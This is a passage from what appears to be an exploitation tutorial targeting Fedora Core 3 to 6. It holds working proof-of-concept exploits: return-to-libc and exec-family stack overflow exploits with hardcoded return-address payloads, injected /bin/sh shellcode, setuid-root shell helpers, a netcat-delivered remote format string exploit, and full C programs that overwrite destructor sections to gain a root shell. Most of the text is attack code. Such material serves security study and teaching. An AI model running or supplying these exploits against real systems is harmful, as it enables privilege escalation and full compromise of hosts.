memset((char *)link_buf,0,sizeof(link_buf));
fprintf(stdout," [+] get __libc_csu_init() address.\n");
snprintf(link_buf,sizeof(link_buf)-1,
"%s -S %s | %s -ne '/<__libc_csu_init>:/,/^08/p' | "
"%s -F\"\\t\" {'print $2'}",OBJDUMP,p,SED,AWK);
if((fp=(FILE *)popen(link_buf,"r"))==NULL)
{
fprintf(stderr," [-] popen() error\n");
exit(-1);
}
memset((char *)link_buf,0,sizeof(link_buf));
while(fread(&i,1,1,fp))
{
if(i==0x0a||i==0x20)
{
if(strlen(s)<2)
{
continue;
}
snprintf(s,sizeof(s)-1,"0x%c%c",s[0],s[1]);
link_buf[k++]=strtoul(s,0,0);
memset((char *)s,0,sizeof(s));
j=0;
}
else {
s[j++]=i;
}
}
pclose(fp);
strncpy(srcname,link_buf,sizeof(srcname)-1);
strcat(srcname,".c");
fprintf(stdout," [+] make shell code.\n");
if((fp=fopen(srcname,"w"))==NULL)
{
fprintf(stderr," [-] fopen() error\n");
exit(-1);
}
fprintf(fp,"int main() {\n");
fprintf(fp,"\tsetreuid(geteuid(),geteuid());\n");
fprintf(fp,"\tsetregid(getegid(),getegid());\n");
fprintf(fp,"\tsystem(\"/bin/sh\");\n");
fprintf(fp,"}\n");
fclose(fp);
snprintf(gcc_buf,sizeof(gcc_buf)-1,"%s -o %s %s",GCC,link_buf,srcname);
system(gcc_buf);
unlink(srcname);
}
unsigned long __get_random_library_gdb_version(char *p)
{
char buf[256];
FILE *fp;
long execve_addr=0;
memset((char *)buf,0,sizeof(buf));
if((fp=fopen("gdb-script","w"))==NULL)
{
fprintf(stderr," [-] fopen error\n");
exit(-1);
}
fprintf(fp,"r x0x\nx execve\n");
fclose(fp);
snprintf(buf,sizeof(buf)-1,
"%s %s -batch -x gdb-script | %s -w execve | %s -F\" \" {'print $1'}",GDB,p,GREP,AWK);
if((fp=(FILE *)popen(buf,"r"))==NULL)
{
fprintf(stderr," [-] popen() error\n");
exit(-1);
}
memset((char *)buf,0,sizeof(buf));
fgets(buf,sizeof(buf),fp);
pclose(fp);
execve_addr=strtoul(buf,0,0);
return execve_addr;
}
/* eoc */
--
This is a Proof-of-Concept code that attacks general stack overflow
vulnerability in main() through argv[1] argument. It's very simple to use.
--
Usage: ./0x82-break_FC4 [target program][size of buffer][Attack frequency][Ret code frequency]
--
As you see above, the target program is strcpy and the buffer size is 256.
You should give the frequency (repeat number) of the attack to attack random
library. This code will repeat as many times as you gave unless the execve()
function address that exploit itself found in library is match to the
execve() function address of the real target program (strcpy this time).
As I said before, I could succeed the attack after 9 times of moving %esp
by ret code. ( maybe you can make another brute-force script with ret code
frequency)
Though the target program is compiled with -fomit-frame-pointer option, the
course of attack is not that different. You just need to compile the exploit
with this option.
--
$ gcc -o 0x82-break_FC4 0x82-break_FC4.c -DFOMIT_FRAME_POINTER
--
With this option on, the exploit will skip overwriting %ebp register and work
well. One thing funny is that there is a specific address in library that is
likely to be mapped. So I call the address "magic library address" in my
exploit code.
----[ 6.3 - ret(pop %eip) + environment local stack overflow exploit
Codes below are tested on F/C 4 and when you manipulate number of ret code
and the address of exec family function it will work on F/C 5 and 6.
On F/C 4, this code worked with 38 times of ret codes and worked on F/C 6
with 46 times.
-- vuln.c --
#include <stdio.h>
int main(int argc,char *argv[])
{
char buf[8];
strcpy(buf,argv[1]);
return 0;
}
--
You need another shell program code for exploit to execute.
-- sh.c --
int main()
{
setuid(0);
setgid(0);
execl("/bin/sh","sh","-p",0);
}
--
------[ 6.3.1 - execl() local exploit
If the command "/bin/ls -al" was executed, the attack was successful.
You can change the command and argument for environment variable. This code
doesn't need any shellcode like sh.c at chapter 6.3 to operate. That makes
this code relatively clean. :-)
-- 0x82-x_execl.c --
/* 0x82-x_execl.c */
int main()
{
char *environs[]={
"/bin/ls", /* environ0: /bin/ls */
"ls", /* environ1: ls */
"-al", /* environ2: -al */
0};
/* execl("/bin/ls","ls","-al",0); */
char *arguments[]={
"./vuln", /* argument0 */
/* argument1 */
"\x96\x82\x04\x08\x96\x82\x04\x08\x96\x82\x04\x08\x96\x82\x04\x08"
"\x96\x82\x04\x08\x96\x82\x04\x08\x96\x82\x04\x08\x96\x82\x04\x08"
"\x96\x82\x04\x08\x96\x82\x04\x08\x96\x82\x04\x08\x96\x82\x04\x08"
"\x96\x82\x04\x08\x96\x82\x04\x08\x96\x82\x04\x08\x96\x82\x04\x08"
"\x96\x82\x04\x08\x96\x82\x04\x08\x96\x82\x04\x08\x96\x82\x04\x08"
"\x96\x82\x04\x08\x96\x82\x04\x08\x96\x82\x04\x08\x96\x82\x04\x08"
"\x96\x82\x04\x08\x96\x82\x04\x08\x96\x82\x04\x08\x96\x82\x04\x08"
"\x96\x82\x04\x08\x96\x82\x04\x08\x96\x82\x04\x08\x96\x82\x04\x08"
"\x96\x82\x04\x08\x96\x82\x04\x08\x96\x82\x04\x08\x96\x82\x04\x08"
"\x96\x82\x04\x08\x96\x82\x04\x08" /* ret code number: 38 */
"\x5c\x24\x7a", /* execl() */
0};
execve("./vuln",arguments,environs);
}
--
------[ 6.3.2 - execle() local exploit
This is a code that uses sh program at 6.3. One thing special for this code
is that this code uses argument pointer to attack instead of environment
variable pointer. Doing this is to enter null(0x00000000) into the second and
the third argument of execv family function. It is different from other
technique that enter a address of pointer that points null code. To make this
continuous null(0x00000000) I used both null codes of end of environment
variable pointer and argument pointer.
-- 0x82-x_execle.c --
/* 0x82-x_execle.c */
/* execle() function needs Null code directly unlike other exeve*() function needs pointer. */
int main()
{
char *environs[]={0}; /* third argument of execle(): 0x00000000 */
char *arguments[]={
"./vuln", /* argument0 */
/* argument1 */
"\x96\x82\x04\x08\x96\x82\x04\x08\x96\x82\x04\x08\x96\x82\x04\x08"
"\x96\x82\x04\x08\x96\x82\x04\x08\x96\x82\x04\x08\x96\x82\x04\x08"
"\x96\x82\x04\x08\x96\x82\x04\x08\x96\x82\x04\x08\x96\x82\x04\x08"
"\x96\x82\x04\x08\x96\x82\x04\x08\x96\x82\x04\x08\x96\x82\x04\x08"
"\x96\x82\x04\x08\x96\x82\x04\x08\x96\x82\x04\x08\x96\x82\x04\x08"
"\x96\x82\x04\x08\x96\x82\x04\x08\x96\x82\x04\x08\x96\x82\x04\x08"
"\x96\x82\x04\x08\x96\x82\x04\x08\x96\x82\x04\x08\x96\x82\x04\x08"
"\x96\x82\x04\x08\x96\x82\x04\x08\x96\x82\x04\x08\x96\x82\x04\x08"
"\x96\x82\x04\x08\x96\x82\x04\x08\x96\x82\x04\x08\x96\x82\x04\x08"
"\x96\x82\x04\x08" /* ret code number: 37 */
"\x08\x23\x7a", /* execle() */
"./sh", /* first argument of execle(): ./sh */
0}; /* second argument of execle(): 0x00000000 */
/* execle("./sh",0x00000000,0x00000000); */
execve("./vuln",arguments,environs);
}
--
------[ 6.3.3 - execlp() local exploit
If "/bin/ls -al" is executed normally, then the attack is successful.
You can change the command whatever you want. It can execute a command
without sh program at 6.3. Usage of this exploit is same as exploit that
uses execl().
-- 0x82-x_execlp.c --
/* 0x82-x_execlp.c */
int main()
{
char *environs[]={
"/bin/ls", /* environ0: /bin/ls */
"ls", /* environ1: ls */
"-al", /* environ2: -al */
0};
char *arguments[]={
"./vuln", /* argument0 */
/* argument1 */
"\x96\x82\x04\x08\x96\x82\x04\x08\x96\x82\x04\x08\x96\x82\x04\x08"
"\x96\x82\x04\x08\x96\x82\x04\x08\x96\x82\x04\x08\x96\x82\x04\x08"
"\x96\x82\x04\x08\x96\x82\x04\x08\x96\x82\x04\x08\x96\x82\x04\x08"
"\x96\x82\x04\x08\x96\x82\x04\x08\x96\x82\x04\x08\x96\x82\x04\x08"
"\x96\x82\x04\x08\x96\x82\x04\x08\x96\x82\x04\x08\x96\x82\x04\x08"
"\x96\x82\x04\x08\x96\x82\x04\x08\x96\x82\x04\x08\x96\x82\x04\x08"
"\x96\x82\x04\x08\x96\x82\x04\x08\x96\x82\x04\x08\x96\x82\x04\x08"
"\x96\x82\x04\x08\x96\x82\x04\x08\x96\x82\x04\x08\x96\x82\x04\x08"
"\x96\x82\x04\x08\x96\x82\x04\x08\x96\x82\x04\x08\x96\x82\x04\x08"
"\x96\x82\x04\x08\x96\x82\x04\x08" /* ret code number: 38 */
"\x78\x29\x7a", /* execlp() */
0};
execve("./vuln",arguments,environs);
}
--
------[ 6.3.4 - execv() local exploit
This is a code that uses sh program at 6.3. You should put null code
directly not the pointer into second argument of execv(). This function needs
only two arguments, so, I think, it is a piece of cake for you. :-)
-- 0x82-x_execv.c --
/* 0x82-x_execv.c */
int main()
{
char *environs[]={
"./sh", /* environ0: ./sh */
0};
/*
** execv()'s argument:
** --
** execv("./sh",0x00000000);
*/
char *arguments[]={
"./vuln", /* argument0 */
/* argument1 */
"\x96\x82\x04\x08\x96\x82\x04\x08\x96\x82\x04\x08\x96\x82\x04\x08"
"\x96\x82\x04\x08\x96\x82\x04\x08\x96\x82\x04\x08\x96\x82\x04\x08"
"\x96\x82\x04\x08\x96\x82\x04\x08\x96\x82\x04\x08\x96\x82\x04\x08"
"\x96\x82\x04\x08\x96\x82\x04\x08\x96\x82\x04\x08\x96\x82\x04\x08"
"\x96\x82\x04\x08\x96\x82\x04\x08\x96\x82\x04\x08\x96\x82\x04\x08"
"\x96\x82\x04\x08\x96\x82\x04\x08\x96\x82\x04\x08\x96\x82\x04\x08"
"\x96\x82\x04\x08\x96\x82\x04\x08\x96\x82\x04\x08\x96\x82\x04\x08"
"\x96\x82\x04\x08\x96\x82\x04\x08\x96\x82\x04\x08\x96\x82\x04\x08"
"\x96\x82\x04\x08\x96\x82\x04\x08\x96\x82\x04\x08\x96\x82\x04\x08"
"\x96\x82\x04\x08\x96\x82\x04\x08" /* ret code number: 38 */
"\xd4\x22\x7a", /* execv() */
0};
execve("./vuln",arguments,environs);
}
--
------[ 6.3.5 - execvp() local exploit
This is a code that uses sh program at 6.3. You should put null code
directly not the pointer into second argument of execv(). This function needs
only two arguments. Same as above. :-)
-- 0x82-x_execvp.c --
/* 0x82-x_execvp.c */
int main()
{
char *environs[]={
"./sh", /* environ0: ./sh */
0};
/*
** execvp()'s argument:
** --
** execvp("./sh",0x00000000);
*/
char *arguments[]={
"./vuln", /* argument0 */
/* argument1 */
"\x96\x82\x04\x08\x96\x82\x04\x08\x96\x82\x04\x08\x96\x82\x04\x08"
"\x96\x82\x04\x08\x96\x82\x04\x08\x96\x82\x04\x08\x96\x82\x04\x08"
"\x96\x82\x04\x08\x96\x82\x04\x08\x96\x82\x04\x08\x96\x82\x04\x08"
"\x96\x82\x04\x08\x96\x82\x04\x08\x96\x82\x04\x08\x96\x82\x04\x08"
"\x96\x82\x04\x08\x96\x82\x04\x08\x96\x82\x04\x08\x96\x82\x04\x08"
"\x96\x82\x04\x08\x96\x82\x04\x08\x96\x82\x04\x08\x96\x82\x04\x08"
"\x96\x82\x04\x08\x96\x82\x04\x08\x96\x82\x04\x08\x96\x82\x04\x08"
"\x96\x82\x04\x08\x96\x82\x04\x08\x96\x82\x04\x08\x96\x82\x04\x08"
"\x96\x82\x04\x08\x96\x82\x04\x08\x96\x82\x04\x08\x96\x82\x04\x08"
"\x96\x82\x04\x08\x96\x82\x04\x08" /* ret code number: 38 */
"\xa0\x25\x7a", /* execvp() */
0};
execve("./vuln",arguments,environs);
}
--
------[ 6.3.6 - execve() local exploit
This is a code introduced at 3.4 for debugging. execve() needs null code
pointer for the second and the third argument. Surely, direct input of null
code (0x0000000) will work same.
-- 0x82-x_execve.c --
/* 0x82-x_execve.c */
int main()
{
char *environs[]={
"./sh", /* environ0: ./sh */
"\x00", /* environ1: 0x00000000 */
"\x00", /* environ2: 0x00000000 */
"\x00", /* environ3 */
"\x00", /* environ4 */
"\x00", /* environ5 */
0};
/*
** execve()'s argument:
** --
** execve("./sh",[null code pointer],[null code pointer]);
*/
char *arguments[]={
"./vuln", /* argument0 */
/* argument1 */
"\xb6\x83\x04\x08\xb6\x83\x04\x08\xb6\x83\x04\x08\xb6\x83\x04\x08"
"\xb6\x83\x04\x08\xb6\x83\x04\x08\xb6\x83\x04\x08\xb6\x83\x04\x08"
"\xb6\x83\x04\x08\xb6\x83\x04\x08\xb6\x83\x04\x08\xb6\x83\x04\x08"
"\xb6\x83\x04\x08\xb6\x83\x04\x08\xb6\x83\x04\x08\xb6\x83\x04\x08"
"\xb6\x83\x04\x08\xb6\x83\x04\x08\xb6\x83\x04\x08\xb6\x83\x04\x08"
"\xb6\x83\x04\x08\xb6\x83\x04\x08\xb6\x83\x04\x08\xb6\x83\x04\x08"
"\xb6\x83\x04\x08\xb6\x83\x04\x08\xb6\x83\x04\x08\xb6\x83\x04\x08"
"\xb6\x83\x04\x08\xb6\x83\x04\x08\xb6\x83\x04\x08\xb6\x83\x04\x08"
"\xb6\x83\x04\x08\xb6\x83\x04\x08\xb6\x83\x04\x08\xb6\x83\x04\x08"
"\xb6\x83\x04\x08\xb6\x83\x04\x08" /* ret code number: 38 */
"\xac\x21\x7a", /* execve() */
0};
execve("./vuln",arguments,environs);
}
--
----[ 6.4 - library shellcode stack overflow exploit
This is tested on F/C 3. It works fine with FC 4,5 and 6. you can find
address of plt copy function by doing this.
--
[x82@localhost tmp]$ objdump -d vuln | grep strcpy
080482b0 <strcpy@plt>:
8048393: e8 18 ff ff ff call 80482b0 <strcpy@plt>
[x82@localhost tmp]$
--
------[ 6.4.1 - Test exploit with strcpy function example
Code of target program and exploit.
-- strcpy.c --
int main(int argc,char *argv[])
{
char buf[8];
strcpy(buf,argv[1]);
}
--
-- 0x82-x_strcpy.c --
int main()
{
char *env[]={ // environment
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x31\xc0\x50\x68\x6e\x2f"
"\x73\x68\x68\x2f\x2f\x62\x69\x89\xe3\x99\x52\x53\x89\xe1\xb0\x0b"
"\xcd\x80", /* shellcode */
0};
char *args[]={
"./strcpy",
"00001111dddd"
"\x9c\x83\x04\x08\x9c\x83\x04\x08\x9c\x83\x04\x08\x9c\x83\x04\x08"
"\x9c\x83\x04\x08\x9c\x83\x04\x08\x9c\x83\x04\x08\x9c\x83\x04\x08"
"\x9c\x83\x04\x08\x9c\x83\x04\x08\x9c\x83\x04\x08\x9c\x83\x04\x08"
"\x9c\x83\x04\x08\x9c\x83\x04\x08\x9c\x83\x04\x08\x9c\x83\x04\x08"
"\x9c\x83\x04\x08\x9c\x83\x04\x08\x9c\x83\x04\x08\x9c\x83\x04\x08"
"\x9c\x83\x04\x08\x9c\x83\x04\x08\x9c\x83\x04\x08\x9c\x83\x04\x08"
"\x9c\x83\x04\x08\x9c\x83\x04\x08\x9c\x83\x04\x08\x9c\x83\x04\x08"
"\x9c\x83\x04\x08\x9c\x83\x04\x08\x9c\x83\x04\x08\x9c\x83\x04\x08"
"\x9c\x83\x04\x08\x9c\x83\x04\x08" /* ret code */
"\xb0\x82\x04\x08" /* strcpy plt */
"\x9c\x83\x04\x08" /* ret code */
"\x30\x55\x23\x00", /* library location: 0x235530 */
0};
execve("./strcpy",args,env);
}
--
------[ 6.4.2 - Test exploit with sprintf function example
Code of target program and exploit.
-- sprintf vuln: --
int main(int argc,char *argv[])
{
char buf[8];
sprintf(buf,"%s",argv[1]);
}
--
-- sprintf exploit: --
int main()
{
char *env[]={ // environment
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x31\xc0\x50\x68\x6e\x2f"
"\x73\x68\x68\x2f\x2f\x62\x69\x89\xe3\x99\x52\x53\x89\xe1\xb0\x0b"
"\xcd\x80", /* shellcode */
0};
char *args[]={
"./sprintf",
"00001111dddd"
"\xa5\x83\x04\x08\xa5\x83\x04\x08\xa5\x83\x04\x08\xa5\x83\x04\x08"
"\xa5\x83\x04\x08\xa5\x83\x04\x08\xa5\x83\x04\x08\xa5\x83\x04\x08"
"\xa5\x83\x04\x08\xa5\x83\x04\x08\xa5\x83\x04\x08\xa5\x83\x04\x08"
"\xa5\x83\x04\x08\xa5\x83\x04\x08\xa5\x83\x04\x08\xa5\x83\x04\x08"
"\xa5\x83\x04\x08\xa5\x83\x04\x08\xa5\x83\x04\x08\xa5\x83\x04\x08"
"\xa5\x83\x04\x08\xa5\x83\x04\x08\xa5\x83\x04\x08\xa5\x83\x04\x08"
"\xa5\x83\x04\x08\xa5\x83\x04\x08\xa5\x83\x04\x08\xa5\x83\x04\x08"
"\xa5\x83\x04\x08\xa5\x83\x04\x08\xa5\x83\x04\x08\xa5\x83\x04\x08"
"\xa5\x83\x04\x08\xa5\x83\x04\x08" /* ret code */
"\xb4\x82\x04\x08" /* sprintf plt */
"\xa5\x83\x04\x08" /* ret code */
"\x30\x55\x23\x00", /* library location: 0x235530 */
0};
execve("./sprintf",args,env);
}
--
----[ 6.5 - do_system() remote format string exploit
This exploit code is made in hurry for POC 2006 conference. It is for F/C 4.
-- rvuln.c --
#include <stdio.h>
int main()
{
char buf[256];
fgets(buf,sizeof(buf)-1,stdin);
printf(buf);
}
--
I have made rvuln program as a tfido service deamon by setting xinetd. simple
exploit script is below.
-- 0x82-remote_do_system.sh --
#!/bin/sh
#
# Proof-of-Conept do_system remote exploit
# by Xpl017Elz
#
# sh-3.00# objdump -h remote_vuln | grep dtors
# 16 .dtors 00000008 080494d4 080494d4 000004d4 2**2
#
# 0x00749f3c <do_system+0>
# 0x003b6873 "sh;"
#
(printf "\xd8\x94\x04\x08\xda\x94\x04\x08\xdc\x94\x04\x08\xde\x94\x04\x08\
%%40748x%%10\$n%%24888x%%11\$n%%26623x%%12\$n%%38856x%%13\$n";cat)|nc localhost 60177
#
# do_system:
# 0x9f3c - 16 = 40748
# 0x10074 - 0x9f3c = 24888
#
# sh;:
# 0x6873 - 0x0074 = 26623
# 0x1003b - 0x6873 = 38856
#
--
----[ 6.6 - p section overwrite local format string exploit
Tested on F/C 6.
-- vuln.c --
#include <stdio.h>
int main(int argc,char **argv){
char buf[256];
if(argc<2){
exit(-1);
}
strncpy(buf,argv[1],sizeof(buf)-1);
printf(buf);
}
--
Exploit code moves __DTOR_END__ address to an arbitrarily place on heap
by changing p section. Main idea of exploit is same as
__do_global_dtors_aux() + setuid() + do_system() attack technique.
-- 0x82-p_section_overwrite.c --
/*
**
** Code name: 0x82-p_section_overwrite.c
** Description: Fedora Core Linux 6 based format string exploit (POC-local)
**
** --
** exploit by "you dong-hun"(Xpl017Elz), <[email protected]>.
** My World: http://x82.inetcop.org
**
*/
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
#include <signal.h>
#define COUNT_FILE "0x82-c0unt"
/* global */
int sflag=0;
unsigned long __p_section=0;
unsigned long __completed=0;
unsigned long __do_global_dtors_aux_addr=0;
/* Fedora Core release 6 (Zod) default */
unsigned long null_heap=0x08049804;
/*
** (gdb) x setuid
** 0x19e690 <setuid>: 0x53e58955
** (gdb) x do_system
** 0x1457d0 <do_system>: 0x53565755
** (gdb)
*/
unsigned long setuid_addr=0x19e690;
unsigned long do_system_addr=0x1457d0;
unsigned long shell_cmd=0x3b7078;
int count=0;
void banrl()
{
fprintf(stdout,"\n Fedora Core Linux 6 based format string exploit (POC-local)\n\n");
}
void sig_exit()
{
printf(" [-] exploit end.\n\n");
unlink(COUNT_FILE);
exit(-1);
}
void end_exploit()
{
printf(" [-] exploit failed.\n\n");
exit(-1);
}
int make_shell()
{
FILE *fp;
if((fp=fopen("xp.c","w"))==NULL)
{
fprintf(stderr," [-] shell make failed.\n");
exit(-1);
}
fprintf(fp,
"#include <stdio.h>\n"
"int main(){\n"
" FILE *fp;\n"
" char tbuf[16];\n"
" int old_count=0;\n"
" if(getuid()==0){\n"
" unlink(\"xp.c\");\n"
" unlink(\"xp\");\n"
" unlink(\"%s\");\n"
" execl(\"/bin/sh\",\"/bin/sh\",0);\n"
" } else {\n"
" if((fp=fopen(\"%s\",\"r\"))==NULL){\n"
" exit(-1);\n"
" }\n"
" memset((char *)tbuf,0,sizeof(tbuf));\n"
" fgets(tbuf,sizeof(tbuf)-1,fp);\n"
" fclose(fp);\n"
" old_count=atoi(tbuf);\n"
" if((fp=fopen(\"%s\",\"w\"))==NULL){\n"
" exit(-1);\n"
" }\n"
" fprintf(fp,\"%%d\\n\",old_count+1);\n"
" fclose(fp);\n"
" }\n"
"}\n",COUNT_FILE,COUNT_FILE,COUNT_FILE);
fclose(fp);
system("gcc -o xp xp.c 2>/dev/null 1>/dev/null >/dev/null");
}
int main(int argc,char *argv[])
{
char tbuf[16];
int ret=0;
FILE *fp;
(void)banrl();
if(argc<2)
{
fprintf(stdout," Usage: %s [target program]\n"
" example> %s ./vuln\n\n",argv[0],argv[0]);
exit(-1);
}
signal(SIGINT,sig_exit);
signal(SIGTSTP,sig_exit);
unlink(COUNT_FILE);
if((fp=fopen(COUNT_FILE,"w"))==NULL)
{
fprintf(stderr," [-] count write file error\n\n");
exit(-1);
}
fprintf(fp,"%d\n",count);
fclose(fp);
chmod(COUNT_FILE,0777);
if((ret=find_sflag_poc(argv[1]))==-1)
{
end_exploit();
}
if((ret=find_section_addr(argv[1]))==-1)
{
end_exploit();
}
(int)make_shell();
#define PATH ".:/bin:/usr/bin:/usr/local/bin:/sbin:/usr/sbin:/usr/local/sbin:"
setenv("PATH",PATH,strlen(PATH));
while(1)
{
printf(" [*] __do_global_dtors_aux() call count: %d\n",count);
do_exploit(count,argv[1]);
/* exploit success check */
if((fp=fopen("xp","r"))==NULL)
{
fprintf(stdout," [*] exploit successfully.\n\n");
exit(-1);
}
else fclose(fp);
/* count check */
if((fp=fopen(COUNT_FILE,"r"))==NULL)
{
fprintf(stdout," [-] count read file error.\n\n");
exit(-1);
}
memset((char *)tbuf,0,sizeof(tbuf));
fgets(tbuf,sizeof(tbuf)-1,fp);
fclose(fp);
count=atoi(tbuf); /* count refresh */
}
return 0;
}
int do_exploit(int count,char *p)
{
int i=0;
int j=0;
int pid=0;
int t_sflag=sflag;
int t_null_heap=null_heap;
int null_heap_head=0;
int null_heap_tail=0;
int __do_global_dtors_aux_head=0;
int __do_global_dtors_aux_tail=0;
int setuid_head=0;
int setuid_tail=0;
int do_system_head=0;
int do_system_tail=0;
int shell_cmd_head=0;
int shell_cmd_tail=0;
unsigned char buf[1024];
unsigned char fmt[512];
memset(buf,0,sizeof(buf));
memset(fmt,0,sizeof(fmt));
null_heap_head=(null_heap>>16)&0xffff;
null_heap_tail=(null_heap>>0)&0xffff;
__do_global_dtors_aux_head=(__do_global_dtors_aux_addr>>16)&0xffff;
__do_global_dtors_aux_tail=(__do_global_dtors_aux_addr>>0)&0xffff;
setuid_head=(setuid_addr>>16)&0xffff;
setuid_tail=(setuid_addr>>0)&0xffff;
do_system_head=(do_system_addr>>16)&0xffff;
do_system_tail=(do_system_addr>>0)&0xffff;
shell_cmd_head=(shell_cmd>>16)&0xffff;
shell_cmd_tail=(shell_cmd>>0)&0xffff;
// make retloc
*(long *)&buf[i]=__p_section+0; /* null_heap */
i+=4;
*(long *)&buf[i]=__p_section+2;
i+=4;
*(long *)&buf[i]=__completed+0; /* null */
i+=4;
*(long *)&buf[i]=__completed+2;
i+=4;
for(j=0;j<count;j++)
{
*(long *)&buf[i]=t_null_heap+0; /* __do_global_dtors_aux() */
i+=4;
*(long *)&buf[i]=t_null_heap+2;
i+=4;
t_null_heap+=4;
}
*(long *)&buf[i]=t_null_heap+0; /* setuid() */
i+=4;
*(long *)&buf[i]=t_null_heap+2;
i+=4;
t_null_heap+=4;
*(long *)&buf[i]=t_null_heap+0; /* do_system() */
i+=4;
*(long *)&buf[i]=t_null_heap+2;
i+=4;
t_null_heap+=4;
*(long *)&buf[i]=t_null_heap+0; /* 'xp;'(0x3b7078) */
i+=4;
*(long *)&buf[i]=t_null_heap+2;
i+=4;
t_null_heap+=4;
// make format string
/* null_heap */
sprintf(fmt,"%%%ux%%%d$n%%%ux%%%d$n",
null_heap_tail-strlen(buf),
t_sflag+0,
(0x10000+null_heap_head)-null_heap_tail,
t_sflag+1);
t_sflag+=2;
/* null */
sprintf(fmt+strlen(fmt),"%%%ux%%%d$n%%%ux%%%d$n",
0x10000-null_heap_head,
t_sflag+0,
0x10000,
t_sflag+1);
t_sflag+=2;
for(j=0;j<count;j++)
{
if(j==0)
{
/* __do_global_dtors_aux() */
sprintf(fmt+strlen(fmt),"%%%ux%%%d$n%%%ux%%%d$n",
__do_global_dtors_aux_tail-0x0000,
t_sflag+0,
(0x10000+__do_global_dtors_aux_head)-__do_global_dtors_aux_tail,
t_sflag+1);
}
else {
/* __do_global_dtors_aux() */
sprintf(fmt+strlen(fmt),"%%%ux%%%d$n%%%ux%%%d$n",
__do_global_dtors_aux_tail-__do_global_dtors_aux_head,
t_sflag+0,
(0x10000+__do_global_dtors_aux_head)-__do_global_dtors_aux_tail,
t_sflag+1);
}
t_sflag+=2;
}
if(count==0)
{
/* setuid() */
sprintf(fmt+strlen(fmt),"%%%ux%%%d$n%%%ux%%%d$n",
setuid_tail-0x0000,
t_sflag+0,
(0x10000+setuid_head)-setuid_tail,
t_sflag+1);
}
else {
/* setuid() */
sprintf(fmt+strlen(fmt),"%%%ux%%%d$n%%%ux%%%d$n",
setuid_tail-__do_global_dtors_aux_head,
t_sflag+0,
(0x10000+setuid_head)-setuid_tail,
t_sflag+1);
}
t_sflag+=2;
/* do_system() */
sprintf(fmt+strlen(fmt),"%%%ux%%%d$n%%%ux%%%d$n",
do_system_tail-setuid_head,
t_sflag+0,
(0x10000+do_system_head)-do_system_tail,
t_sflag+1);
t_sflag+=2;
/* shell cmd */
sprintf(fmt+strlen(fmt),"%%%ux%%%d$n%%%ux%%%d$n",
shell_cmd_tail-do_system_head,
t_sflag+0,
(0x10000+shell_cmd_head)-shell_cmd_tail,
t_sflag+1);
t_sflag+=2;
strcat(buf,fmt);
if((pid=fork())==0)
{
execl(p,p,buf,0);
}
wait(&pid);
return 0;
}
int find_section_addr(char *p)
{
char buf[256];
FILE *fp;
memset(buf,0,sizeof(buf));
sprintf(buf,"echo -n '0x'; "
"objdump -d %s | "
"grep \"__do_global_dtors_aux>:\" | "
"awk -F\" \" {'print $1'}",p);
if((fp=popen(buf,"r"))==NULL)
{
printf(" [-] __do_global_dtors_aux address error\n");
return -1;
}
memset(buf,0,sizeof(buf));
fgets(buf,sizeof(buf)-1,fp);
pclose(fp);
__do_global_dtors_aux_addr=strtoul(buf,0,0);
memset(buf,0,sizeof(buf));
sprintf(buf,"objdump -d %s | "
"grep -A 4 \"__do_global_dtors_aux>:\" | "
"tail -1 | awk -F\",\" {'print $2'}",p);
if((fp=popen(buf,"r"))==NULL)
{
printf(" [-] completed section error\n");
return -1;
}
memset(buf,0,sizeof(buf));
fgets(buf,sizeof(buf)-1,fp);
pclose(fp);
__completed=strtoul(buf,0,0);
memset(buf,0,sizeof(buf));
sprintf(buf,"objdump -d %s | "
"grep -A 8 \"__do_global_dtors_aux>:\" | "
"tail -1 | awk -F\",\" {'print $2'}",p);
if((fp=popen(buf,"r"))==NULL)
{
printf(" [-] p section error\n");
return -1;
}
memset(buf,0,sizeof(buf));
fgets(buf,sizeof(buf)-1,fp);
pclose(fp);
__p_section=strtoul(buf,0,0);
printf(" [*] __do_global_dtors_aux: %p\n"
" [*] p section: %p\n"
" [*] completed section: %p\n",__do_global_dtors_aux_addr,
__p_section,__completed);
return 0;
}
int find_sflag_poc(char *p)
{
int i;
char buf[256];
FILE *fp;
memset(buf,0,sizeof(buf));
printf(" [+] find sflag number.\n");
for(i=0;i<200;i++)
{
sprintf(buf,"%s AAAA.%%%d\\$x",p,i);
if((fp=popen(buf,"r"))==NULL)
{
printf(" [-] %s execute error\n",p);
return -1;
}
memset(buf,0,sizeof(buf));
fgets(buf,sizeof(buf)-1,fp);
pclose(fp);
if(strstr(buf,"AAAA.41414141"))
{
sflag=i;
printf(" [*] sflag: %d\n",sflag);
break;
}
}
return 0;
}
--
----[ 6.7 - __do_global_dtors_aux() + exec family local format string exploit
You will find that size of attack code is depend on the version of each
operation system. It is because, on F/C 3 and 4, the second argument of
execv() could have null (0x0000000) without adding 16bytes through
__do_global_dtors_aux(). So, it is possible to attack with only 8bytes of
attack code. As a matter of course, on F/C 5 and 6, we try 12bytes attack
with __do_global_dtors_aux() + __do_global_dtors_aux()+27 + execv function as
we studied.
-- vuln1.c --
#include <stdio.h>
/* case #1 */
int main(int argc,char *argv[])
{
char buf[256];
strcpy(buf,argv[1]);
printf(buf);
return 0;
}
--
-- vuln2.c --
#include <stdio.h>
/* case #2 */
int main(int argc,char *argv[])
{
(int)func(argv[1]);
}
int func(char *p)
{
char buf[100];
strncpy(buf,p,100);
printf(buf);
printf("\n");
printf("\n");
}
--
-- 0x82-dtors_execv_ex.c --
/*
**
** Code name: 0x82-dtors_execv_ex.c
** Description: Fedora Core Linux 6 based format string exploit (POC-local)
**
** --
** exploit by "you dong-hun"(Xpl017Elz), <[email protected]>.
** My World: http://x82.inetcop.org
**
*/
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
#include <signal.h>
/* global */
int sflag=0;
int type=3;
unsigned long __dtors_end__=0;
unsigned long call_edx_next=0;
unsigned long __do_global_dtors_aux_addr=0;
unsigned char __do_global_dtors_aux_ret_code[256];
struct os_t {
int num;
char *os;
int overwrite_type;
unsigned long execv_addr;
};
struct os_t plat[]={
{
0,"Fedora Core release 3 (Heidelberg)",8,0xf6f415d0
/* It's bad ! */
},
{
1,"Fedora Core release 4 (Stentz)",8,0x7a22d4
},
{
2,"Fedora Core release 5 (Bordeaux)",12,0xc3541c
},
{
3,"Fedora Core release 6 (Zod)",12,0x19dd60
},
{
4,NULL,0,0x0
}
};
unsigned long execv_addr=0;
void banrl()
{
fprintf(stdout,"\n Fedora Core Linux 6 based format string exploit (POC-local)\n\n");
}
void sig_exit()
